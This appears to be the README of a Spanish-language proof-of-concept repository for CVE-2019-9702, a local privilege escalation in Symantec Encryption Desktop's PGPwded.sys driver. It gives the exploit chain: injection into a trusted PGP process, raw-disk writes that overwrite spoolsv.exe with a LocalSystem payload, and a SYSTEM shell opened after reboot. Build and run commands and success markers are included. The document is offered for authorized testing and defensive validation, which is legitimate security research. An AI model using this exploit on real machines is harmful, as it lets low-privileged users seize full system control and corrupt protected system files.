
PoC de escalada local de privilegios para obtener una shell SYSTEM para CVE-2019-9702 en Symantec Encryption Desktop.
PGPwded.sysEste repositorio contiene una prueba de concepto para una vía de escalada de privilegios local en el filtro de almacenamiento PGPwded.sys de Symantec Encryption Desktop, basada en una primitiva de lectura/escritura bruta del disco con bajos privilegios.
El PoC fue desarrollado y probado contra Symantec Encryption Desktop Pro 10.4.2 MP3. Otras versiones no han sido probadas con esta implementación.
El trabajo se inspiró y se basa en la investigación pública original de Kyriakos Economou / Nettitude, ahora LRQA Nettitude:
Su publicación describe la comprobación de acceso al dispositivo PGPwded.sys, la idea de inyección en procesos PGP de confianza, los IOCTL de lectura/escritura bruta y los enfoques de explotación basados en NTFS. Este PoC se centra en una variante de sobrescritura del binario de servicio activada tras un reinicio e incluye una utilidad de verificación previa de solo lectura.
src/
sym_portable_launcher.c # single-EXE launcher; embeds and drops the staging worker
portable_stage_worker.c # injected worker; maps C:, opens PGPwded, stages payload
spooler_payload.c # service payload run by Spooler as LocalSystem after reboot
sym_portable_precheck.c # single-EXE read-only precheck launcher
precheck_worker.c # injected read-only diagnostic worker
*_bytes.h # generated embedded payload/worker byte arrays
tools/
sym_target_diag_lite.cmd # wrapper script for collecting target diagnostics
El exploit de la fase de reinicio es un único ejecutable de Windows de 32 bits que se suelta en el sistema. A grandes rasgos:
C:\Users\Public.%TEMP%.\\.\PGPwdef desde la ruta de la imagen del proceso PGP de confianza.C:\Windows\System32\spoolsv.exe a su extensión NTFS y calcula el sector de disco subyacente.\Device\000000xx se corresponde con ese sector de C: mediante el IOCTL de lectura bruta.C:\Users\Public\spoolsv.exe.orig.portable.spoolsv.exe con una carga útil de servicio LocalSystem embebida.La verificación previa de solo lectura sigue el mismo camino de proceso de confianza, pero solo utiliza el IOCTL de lectura bruta. No sobrescribe archivos ni prepara el exploit.
Compile desde un host Linux con MinGW-w64 instalado:
make
Salidas esperadas:
bin/sym_portable_reboot_stage32.exe # exploit/stager
bin/sym_portable_precheck32.exe # read-only precheck
Ejecute primero la verificación previa. Su objetivo es determinar si se dan las condiciones actuales del exploit sin modificar archivos protegidos.
C:\Users\Public\sym_portable_precheck32.exe
notepad C:\Users\Public\sym_portable_precheck.log
Un objetivo viable debería terminar con:
[OK] current reboot exploit conditions
Si el registro no muestra PDO PGP legibles, o no hay coincidencia de sector en C:, no ejecute el exploit. Eso normalmente significa que el disco del sistema operativo no está gestionado/instrumentado por Symantec WDE.
Para obtener un informe de objetivo más completo, copie los dos archivos siguientes en el mismo directorio y ejecute el script CMD:
sym_target_diag_lite.cmd
sym_portable_precheck32.exe
A continuación, ejecute:
C:\Users\Public\sym_target_diag_lite.cmd
notepad C:\Users\Public\sym_target_diag_lite.log
Ejecute el exploit únicamente en sistemas donde esté autorizado para modificar archivos protegidos del sistema y donde la verificación previa haya sido superada.
Copie el stager a una ruta con permisos de escritura y ejecútelo como el usuario con bajos privilegios:
C:\Users\Public\sym_portable_reboot_stage32.exe
Compruebe los registros de la fase de preparación:
type C:\Users\Public\sym_portable_launcher.log
type C:\Users\Public\sym_portable_stage.log
Si la fase de preparación se completó correctamente, el registro del worker contendrá:
STAGED_OK_REBOOT_TO_TRIGGER
Reinicie la máquina. Tras el reinicio, el servicio Spooler debería iniciar la carga útil como LocalSystem y abrir un símbolo del sistema titulado:
SYSTEM_CMD_FROM_PORTABLE_REBOOT_LPE
El stager crea esta copia de seguridad antes de sobrescribir el objetivo:
C:\Users\Public\spoolsv.exe.orig.portable
No se incluye un modo de restauración público de un clic. En las pruebas, la restauración se realizó escribiendo en bruto la copia de seguridad sobre los mismos sectores asignados y reiniciando. Debería añadirse y validarse un flujo de restauración seguro antes de publicar binarios.
C:\Windows\System32\spoolsv.exe.PGPwded.sys; una instalación de Symantec por sí sola no es suficiente.Este es código de investigación para pruebas autorizadas y validación defensiva. No lo ejecute en sistemas que no sean de su propiedad o para los que no tenga permiso explícito de evaluación.